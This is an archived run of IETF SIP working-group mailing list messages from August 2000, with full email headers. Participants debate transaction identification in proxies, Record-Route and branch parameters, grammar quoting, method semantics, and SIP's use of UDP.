Theoretically, a proxy X could occupy any number of combinations > of nodes in this tree, from 0 to all. (For example it could be > X == p0 == p21 == p23 == p34 when forwarding a request through > the tree). For most of these combinations you would want to keep > the transactions separated from eachother, being a stateful proxy. > The spiral case which was previously discussed in this list is > merely a subset of combinations in such a theoretical "forwarding > tree". > > Implementing the proxy X, and given the way the SIP spec is written > today, I don't know of a way to separate the transactions within > proxy X. This is trivially solved (for the example above) with the notion of "Isomorphic Requests" as defined in the spec. Basically, every request that differs in at least one of From, To, Call-ID, CSeq, Request-URI or topmost-Via from any other request, indicates a distinct transaction. I would note that the spec doesn't mention anything about looking at the topmost-Via at this point, this should probably be fixed? [...] > In that case a suggestion is to make it possible to use the call > leg + cseq + information extracted from/based on the requestURI > to be able to identify the transactions within a proxy. As above. > However, the way Route is designed today, original > request-URI information from Record-Route path is destroyed > for some higher purpose that I haven't been able to understand. I finally think I'm with you. &:) Let's consider the following: A -INV-> P1 -INV-> P2 -INV-> P1 -INV-> B A is originating UA, B is receiving UA, P1 & P2 are proxies that Record-Route. Let's say that a call is successfully set up. Now B wants to hang-up. We've been discussing what the Route will look like for the BYE, and currently the "consensus" is that P1 can appear twice with impunity; proxies don't loop-detect when Route headers are present. Okay, fine, but when the P2-P1 "portion" of the BYE reaches P1, how will it distinguish that request from the initial B-P1 "portion"? "Easy!" I hear you cry, "We'll just look at the topmost Via." Okay, but I already detected this as a Request-Merge, and returned a 482. So now we also say that you don't do Request-Merge Detection or Loop Detection when there are Route headers present. This does not help, since if we update the scenario to be: A -INV-> P1 -INV-> P2 -INV-> P1 -INV-> P2 -INV-> B We can no-longer guarantee that P1 will see different topmost-Vias. Now there are a couple of hacks around this: 1) We could start to count Vias. This has been brought up in relation to Loop Detection in the face of Via hiding. 2) We could make extra requirements on the branch parameter such that it would always be different in these cases. (Note that this will still mean we would have to ignore Request-Merging with Route headers present. Although I admit it's slightly difficult to see how such a situation would ever occur. (:&) 3) We could mandate that proxies are allowed to add themselves into a Record-Route path _at most once_. I prefer 3), mainly because of it's simplicity from a protocol perspective, and also because I haven't heard a good argument why it's harmful. Sure, it's going to require a small amount of extra complexity in transaction-handling in proxies, but I can't see that it's going to be so difficult to work around. > I would like the original request-URI information from > Record-Route to be kept in the Route, because then I would > be able to use request-URI information together with call leg & > cseq to identify transactions. I still don't buy this. I agree with Johnathan that it makes the protocol more "brittle". Request-URI has a very well-defined meaning, and that meaning is completely lost if we take this approach. > The simplicity of the proxy operation, when being able to > identify transactions in this suggested manner, is rather appealing > to me at least. Given this opportunity, other things in SIP could > be simplified as well. For example the hash part of the > branch values for the Via could probably be removed, saving > considerably more bytes than the short form of SIP ;) ;) when > the requests are forwarded a number of times. No, we can never remove the requirement that the branch parameter is a function of the Request-URI. If we do that, it becomes impossible to detect loops. > Of course there are a number of alternative solutions, a new > header could be invented, or whatever. But if this is a problem, > at least something needs to be done. > > I do realize that this is a theoretical discussion and the some > of these combinations are highly unlikely to happen in a "real" > network, but as SIP network structures start to build, one could > easily predict that many "unlikely" cases will occur. > > If this will be recognized by others as a problem, I would like > to emphasize the benefit of finding one rather simple solution > that would solve the general problem, rather than to invent > a number of "fixes" in the protocol to solve a number of "special > cases" of the general problem. I vote for 3). I'll be distributing badges shortly. &:) - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 06:27:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA12089 for ; Tue, 29 Aug 2000 06:27:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 354264434C; Tue, 29 Aug 2000 05:27:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 303D944336 for ; Tue, 29 Aug 2000 05:27:50 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id GAA16305; Tue, 29 Aug 2000 06:27:37 -0400 (EDT) Message-ID: <39AB923B.C585DE4D@cs.columbia.edu> Date: Tue, 29 Aug 2000 06:36:43 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Gethin Liddell Cc: sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> <39A1971C.EBE960FB@cs.columbia.edu> <20000827180810.A12741@dallas.net> <00082910375901.06568@gethin> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Added (modulo wording changes). Thanks. Gethin Liddell wrote: > > In an attempt at closure on this (or has it already been closed ?) as > it is a little point and we could spend our time better on other stuff > i suggest some simple text as follows: > > P. 119 (End of C.1): > > ----- > > The backslash character ("\") MAY be used as a single-character quoting > mechanism only within quoted-string and comment constructs. NOTE the > characters "\r" and "\n" cannot be escaped by this mechanism so as not > to conflict with line folding and header separation. > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 08:02:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA14288 for ; Tue, 29 Aug 2000 08:02:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6111E4434B; Tue, 29 Aug 2000 07:01:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id B14EB44336 for ; Tue, 29 Aug 2000 07:01:32 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7TC1Tw27786; Tue, 29 Aug 2000 14:01:29 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7TC1TL08463; Tue, 29 Aug 2000 14:01:29 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id OAA26052; Tue, 29 Aug 2000 14:01:24 +0200 (MET DST) Message-ID: <39ABA614.F6BA2D71@uab.ericsson.se> Date: Tue, 29 Aug 2000 14:01:24 +0200 From: Loita Jahnsson Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: Jo Hornsby , sip@lists.bell-labs.com Subject: Re: [SIP] transaction identification References: <002501c011a1$2e66cdb0$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Jo, Thanks for you answer! > 1) We could start to count Vias. This has been brought up in > relation to Loop Detection in the face of Via hiding. > 2) We could make extra requirements on the branch parameter > such that it would always be different in these cases. > (Note that this will still mean we would have to ignore > Request-Merging with Route headers present. Although I > admit it's slightly difficult to see how such a situation > would ever occur. (:&) > 3) We could mandate that proxies are allowed to add themselves > into a Record-Route path _at most once_. > > I prefer 3), mainly because of it's simplicity from a protocol > perspective, and also because I haven't heard a good argument > why it's harmful. I tried to give you an example with a proxy with a local network on one side and an wider network on the other side. I don't know if it's a good example, but anyway the "3" solution wouldn't work there. Or ??? Also, if you remember, Jonathan didn't like it because a proxy implementing services and stuff might want to keep the transactions apart. > > I would like the original request-URI information from > > Record-Route to be kept in the Route, because then I would > > be able to use request-URI information together with call leg & > > cseq to identify transactions. > > I still don't buy this. I agree with Johnathan that it makes > the protocol more "brittle". Request-URI has a very well-defined > meaning, and that meaning is completely lost if we take this > approach. I think, when routing using Route, the request-URI is merely an illusion as far as routing concerns. Look at how the Via works when routing responses. It's not brittle at all ;) > > The simplicity of the proxy operation, when being able to > > identify transactions in this suggested manner, is rather appealing > > to me at least. Given this opportunity, other things in SIP could > > be simplified as well. For example the hash part of the > > branch values for the Via could probably be removed, saving > > considerably more bytes than the short form of SIP ;) ;) when > > the requests are forwarded a number of times. > > No, we can never remove the requirement that the branch parameter > is a function of the Request-URI. If we do that, it becomes > impossible to detect loops. I don't mean that we could remove the branch parameter, I am talking about the hash part (1.21323454556667), ie all the digits after the dot. Don't bother to count them, I just pressed down a lot of digits simultaneously on my keyboard :) Instead we could just use 1, 2, 3, ... as branch values, still being able to detect loops. If we use the request-URI (as I suggested) to find the correct transaction handler/transaction data in the proxy, spirals are treated correctly automatically since they trigger different transaction handlers/or represent different transaction data. We wouldn't need the hash part of the branch values. Best Regards, Loita Jahnsson SIP SW Designer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 09:01:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16536 for ; Tue, 29 Aug 2000 09:01:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D124D44357; Tue, 29 Aug 2000 08:00:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 842E144336 for ; Tue, 29 Aug 2000 08:00:18 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id NAA18146; Tue, 29 Aug 2000 13:58:24 +0100 (BST) From: "Jo Hornsby" To: "Loita Jahnsson" , Subject: RE: [SIP] transaction identification Date: Tue, 29 Aug 2000 13:58:23 +0100 Message-ID: <002a01c011b8$d0af7bf0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39ABA614.F6BA2D71@uab.ericsson.se> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > 1) We could start to count Vias. This has been brought up in > > relation to Loop Detection in the face of Via hiding. > > 2) We could make extra requirements on the branch parameter > > such that it would always be different in these cases. > > (Note that this will still mean we would have to ignore > > Request-Merging with Route headers present. Although I > > admit it's slightly difficult to see how such a situation > > would ever occur. (:&) > > 3) We could mandate that proxies are allowed to add themselves > > into a Record-Route path _at most once_. > > > > I prefer 3), mainly because of it's simplicity from a protocol > > perspective, and also because I haven't heard a good argument > > why it's harmful. > > I tried to give you an example with a proxy with a local > network on one side and an wider network on the other side. > I don't know if it's a good example, but anyway the "3" solution > wouldn't work there. Ah yes. I had forgotten about that problem, but I seem to remember that it only solved a small part of a general difficulty when one starts to look at firewalls. > Also, if you remember, Jonathan didn't like it because a > proxy implementing services and stuff might want to keep > the transactions apart. Yes. Fair enough, but I haven't seen an argument yet why the proxy can't maintain a 1-to-many map internally. > > > I would like the original request-URI information from > > > Record-Route to be kept in the Route, because then I would > > > be able to use request-URI information together with call leg & > > > cseq to identify transactions. > > > > I still don't buy this. I agree with Johnathan that it makes > > the protocol more "brittle". Request-URI has a very well-defined > > meaning, and that meaning is completely lost if we take this > > approach. > > I think, when routing using Route, the request-URI is > merely an illusion as far as routing concerns. Look at > how the Via works when routing responses. It's not brittle > at all ;) Agreed, the Request-URI isn't being used at all. I guess I just feel more secure knowing it's there and it's right. (Well, almost.) [...] > > No, we can never remove the requirement that the branch parameter > > is a function of the Request-URI. If we do that, it becomes > > impossible to detect loops. > > I don't mean that we could remove the branch parameter, > I am talking about the hash part (1.21323454556667), ie all > the digits after the dot. Don't bother to count them, I just > pressed down a lot of digits simultaneously on my keyboard :) > > Instead we could just use 1, 2, 3, ... as branch values, still > being able to detect loops. Yes, but those digits still have to be a function of the branch parameter somehow. Index into an array &:) or whatever. I don't see how this changes anything. (We have an implementation now that does loop detection and detects request merging scenarios and can spiral, and the branch parameter is basically a monotonically increasing integer.) > If we use the request-URI (as I suggested) to find the correct > transaction handler/transaction data in the proxy, spirals are > treated correctly automatically since they trigger different > transaction handlers/or represent different transaction data. > We wouldn't need the hash part of the branch values. In an incoming request, the branch parameter in the topmost Via is generally going to be meaningless insofar as locating the correct "transaction" in a proxy (well, you need it in perverse request-merging situations). You do, however, need to look down the list of Vias, and look for a "familiar" branch parameter. That's the important bit. Anyway, Neil has got me all turned around on the issue. I'm now thinking perhaps 2), since the added restriction of not doing loop detection (request merging) checks on requests with Route headers in isn't that Draconian, and it also solves another problem that I've been harping on about: Loop Detection and Via Hiding (see "thread" from last week). That is, add the requirement that branch parameters are always unique (within some reasonable time-frame). [Everbody please change their badges to say "2" instead of "3". (:&] Thoughts? Cheers, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 09:41:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17597 for ; Tue, 29 Aug 2000 09:41:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BA1FF44350; Tue, 29 Aug 2000 08:40:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hd2.dot.net.in (hd2.vsnl.net.in [202.54.30.2]) by lists.bell-labs.com (Postfix) with ESMTP id CD51D44336 for ; Tue, 29 Aug 2000 08:40:33 -0400 (EDT) Received: from bigboy ([203.197.20.81]) by hd2.dot.net.in (8.8.8/8.8.8) with SMTP id TAA15229 for ; Tue, 29 Aug 2000 19:07:03 +0530 (IST) Message-ID: <002101c011be$f62a4e40$5114c5cb@bigboy> Reply-To: "farhan" From: "farhan" To: "sip" Subject: [SIP] syntax & edges vs. centers Date: Tue, 29 Aug 2000 19:12:01 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit i have lost an earlier draft of my posting. maybe it never got posted. anyway, here it goes again: dr. rosenberg wrote - >The parallel in SIP is obvious; method is a method in the programming >sense of the word - it defines a very concrete operation to be performed >on the server (not the stack); all the data in the message merely >qualifies that operation, it does not define it. this is absolutely the way to go. one method ought to do just one thing completely. i am completely convinced that each method ought to do just one thing. we cannot have another ioctl() horror on the sip stack. > INVITE has a well-defined semantic, as do ACK and >CANCEL. Everything else (in terms of proxy processing) is the same as >OPTIONS. That includes BYE, SUBSCRIBE, NOTIFY, etc. If SUBSCRIBE, NOTIFY, MESSAGE, BYE are all the same, evidently their interpretation is completely between the user agents themselves. In that sense they are a recommendation of how SIP can be applied to add more functionality. Much like SIP is encapsulated in UDP, we are encapsulating more methods within the SIP architecture. To that extent, the interpretation of SUBSCRIBE, NOTIFY, MESSAGE, etc. is the problem of the recepient of the requests. >I don't see why upgrading an ip >phone is different than a browser. Probably easier since the IP phone is >way thinner than a browser. one simple way to upgrade an ip phone is by rom replacement. online upgrading has its own interesting possiblities. someone with a rogue bluetooth on his palm can just walk around an office and download a trick stack into all the ipphones (maybe this is just science fiction). But the very interesting possiblities that it _does_ open up is that if we can incorporate downloading of 'siplets' to SIP devices that run like applets in secure sandboxes, we can come up with some pretty interesting applications. i imagine that such ip phones will also need a mechanism to download and invoke method handlers. possibly a siplet specification in the body of the r equest? if so, do we give provisional responses until the download is complete ? what are the security managment issues involved with siplets? this is an exciting possiblity. shall we try implementing something like on a desktop UA that can download the request handlers. the other approach will be to dish out everything from some sort of a telephony application server that manages a number of sip phones (a proxy). the added services are all build on the proxy server side. this keeps the UAs themselves fixed and small. this is an approach that we took when we designed hotfoon.com. hotfoon.com - dumb VoiP terminals hotfoon.com used a very simplistic protocol that transfered what ever a user type to the server (raw) and whatever the server dished out directly to a display window on the UA. Apart from the text messaging, just a single call-setup/cleardown message pair was used to implement the session initiation protocol. All the logic, including the call state was maintained on the server side. the huge advantage was that it required virtually no upgrades at all (the client is just a 48kb download including gsm codec). we added features as the users demanded them. Someone asked for queues and we implemented them, some asked for chat, we gave it to them. The idea was that a simple VoiP client could be scaled up with innumerable features without having to upgrade the clients themselves. Like all simplistic implementations, it suffered on account of scalability (the servers were stateful and had to deal with a lot of concurrency issues). Nevertheless, it still does handle hundreds of active users. The idea explored in hotfoon.com was to implement dumb voip terminals, wherein the intelligence was centralised (as different from sip where the intelligence is towards the edge) in moderately powered telephony application servers. it is still an interesting thing to toy around with. - farhan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:00:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18153 for ; Tue, 29 Aug 2000 10:00:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4766C44355; Tue, 29 Aug 2000 09:00:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id EED4A4433E for ; Tue, 29 Aug 2000 09:00:23 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA10288; Tue, 29 Aug 2000 10:02:06 -0400 (EDT) Message-ID: <39ABC1B1.97E6B931@dynamicsoft.com> Date: Tue, 29 Aug 2000 09:59:13 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jo Hornsby Cc: Loita Jahnsson , sip@lists.bell-labs.com Subject: Re: [SIP] transaction identification References: <002a01c011b8$d0af7bf0$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jo Hornsby wrote: > > > If we use the request-URI (as I suggested) to find the correct > > transaction handler/transaction data in the proxy, spirals are > > treated correctly automatically since they trigger different > > transaction handlers/or represent different transaction data. > > We wouldn't need the hash part of the branch values. > > In an incoming request, the branch parameter in the topmost Via > is generally going to be meaningless insofar as locating the > correct "transaction" in a proxy (well, you need it in perverse > request-merging situations). You do, however, need to look > down the list of Vias, and look for a "familiar" branch parameter. > That's the important bit. > > Anyway, Neil has got me all turned around on the issue. I'm now > thinking perhaps 2), since the added restriction of not doing > loop detection (request merging) checks on requests with Route > headers in isn't that Draconian, and it also solves another problem > that I've been harping on about: Loop Detection and Via Hiding > (see "thread" from last week). That is, add the requirement that > branch parameters are always unique (within some reasonable > time-frame). This is my preference. This gives Loita the desired property - you can uniquely identify the transaction as a concatenation of a finite set of fields - To, From, R-URI, Call-ID, CSeq, top via (plus branch-ID). Jo pointed out in a previous note that: > I would note that the spec doesn't mention anything about looking > at the topmost-Via at this point, this should probably be fixed? > Yes, it should. An interesting wrinkle I just thought of - stateless proxies. They need to be sure that the branch-ID they insert is unique, but also the same for retransmitted requests within the same transaction. I suppose this can be done by having them compute the branch ID param as a hash of the To, From, Call-ID, CSeq, R-URI and top Via of the incoming request, along with the process-ID, IP address or some other invariant unique to each proxy instance. This should probably also be noted in the spec. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:17:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18785 for ; Tue, 29 Aug 2000 10:17:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8B7C14435D; Tue, 29 Aug 2000 09:08:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lists.bell-labs.com (Postfix) with ESMTP id 9580244348 for ; Mon, 28 Aug 2000 15:11:45 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10770; Mon, 28 Aug 2000 10:33:15 -0400 (EDT) Message-Id: <200008281433.KAA10770@ietf.org> To: IETF-Announce: ; Cc: sip@lists.bell-labs.com From: The IESG Reply-To: iesg@ietf.org Date: Mon, 28 Aug 2000 10:33:15 -0400 Subject: [SIP] Last Call: DHCP Option for SIP Servers to Proposed Standard Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The IESG has received a request from the Session Initiation Protocol Working Group to consider DHCP Option for SIP Servers as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-sip-dhcp-01.txt _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:22:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18941 for ; Tue, 29 Aug 2000 10:22:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0D58944362; Tue, 29 Aug 2000 09:09:16 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by lists.bell-labs.com (Postfix) with SMTP id A37BE4433C for ; Mon, 28 Aug 2000 16:04:02 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by dirty; Mon Aug 28 17:02:42 EDT 2000 Received: by lists.bell-labs.com (Postfix) id 5ECB744344; Mon, 28 Aug 2000 16:49:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ans.ih.lucent.com (ans.ih.lucent.com [135.2.78.5]) by lists.bell-labs.com (Postfix) with SMTP id 079A044341 for ; Mon, 28 Aug 2000 16:49:33 -0400 (EDT) Received: by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id PAA13423; Mon, 28 Aug 2000 15:49:32 -0500 Cc: sip@lists.bell-labs.com Received: from lucent.com by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id PAA13400; Mon, 28 Aug 2000 15:49:30 -0500 Message-ID: <39AAD058.9877FEC@lucent.com> Date: Mon, 28 Aug 2000 15:49:28 -0500 From: "Vijay K. Gurbani" Reply-To: vkg@lucent.com Organization: Intelligent Network/Messaging Systems & Internet Software Group X-Mailer: Mozilla 4.61 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Subramania Sivaram Original-CC: sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Subramania Sivaram wrote: > > This document looks good. However, being new to this mailing list, I > have a fundamental question. Why was it chosen to support a call > control protocol like SIP over an unreliable transport protocol like > UDP. HTTP, on which SIP is based, works over a reliable transport, > all call control protocols in the PSTN world, like SS7, Q.931 etc. > work over a reliable transport. [...] In a nutshell, timing and speed. A signaling protocol like SIP needs finer access to timeouts and a fast transport. TCP's three-way hand- shake can take to the order of a few milliseconds on a LAN to hundreds of milliseconds or a few seconds on a WAN. UDP provides SIP with a finer grain access to timing information as well as a fast transport. Unfortunately, that comes with the disadvantage of implementing re-transmission and ordering of packets. Jonathan Rosenberg has a I-D on transporting SIP over SCTP, which is being designed to be a faster (than TCP) and lighter (than TCP) transport protocol, but having some of the same reliability mechanisms as TCP. I am sure there are other reasons besides timing and speed; I can think of these two off the top of my head. Regards, - vijay -- Vijay K. Gurbani vkg@lucent.com vkg@research.bell-labs.com vkg@acm.org Internet Software Group/Intelligent Network and Instant Messaging Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-413 Naperville, Illinois 60566 Voice: +1 630 224 0216 Fax: +1 630 713 0184 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 10:27:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19189 for ; Tue, 29 Aug 2000 10:27:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3EFFE4436C; Tue, 29 Aug 2000 09:09:33 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by lists.bell-labs.com (Postfix) with SMTP id A3A5444339 for ; Mon, 28 Aug 2000 16:12:02 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by crufty; Mon Aug 28 17:10:46 EDT 2000 Received: by lists.bell-labs.com (Postfix) id 1473744347; Mon, 28 Aug 2000 16:57:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ans.ih.lucent.com (ans.ih.lucent.com [135.2.78.5]) by lists.bell-labs.com (Postfix) with SMTP id AFEBA44341 for ; Mon, 28 Aug 2000 16:57:36 -0400 (EDT) Received: by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id JAA19492; Mon, 28 Aug 2000 09:23:11 -0500 Cc: sip@lists.bell-labs.com Received: from lucent.com by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id JAA19477; Mon, 28 Aug 2000 09:23:09 -0500 Message-ID: <39AA75CE.A3716D68@lucent.com> Date: Mon, 28 Aug 2000 09:23:10 -0500 From: "Vijay K. Gurbani" Reply-To: vkg@lucent.com Organization: Intelligent Network/Messaging Systems & Internet Software Group X-Mailer: Mozilla 4.61 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Blanchard Jacqueline Original-CC: sip@lists.bell-labs.com Subject: Re: [SIP] Transaction definition References: <679076A067F2D211A8F70090274481B844E7D4@LNN201E> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Blanchard Jacqueline wrote: > > Hi, > > Am I right if I consider that in case of an INVITE > sent by a User Agent Client the transaction is from INVITE until ACK > (instead of INVITE/200OK as defined in the RFC2543) ? [...] ACK is a special request used ONLY for an INVITE request. However, for the purpose of a transaction, ACK comprises a transaction of its own. The ACK request following the INVITE is not considered part of the transaction since it may traverse a different set of hosts to get to the callee (or the UAS) than the INVITE did. Regards, - vijay 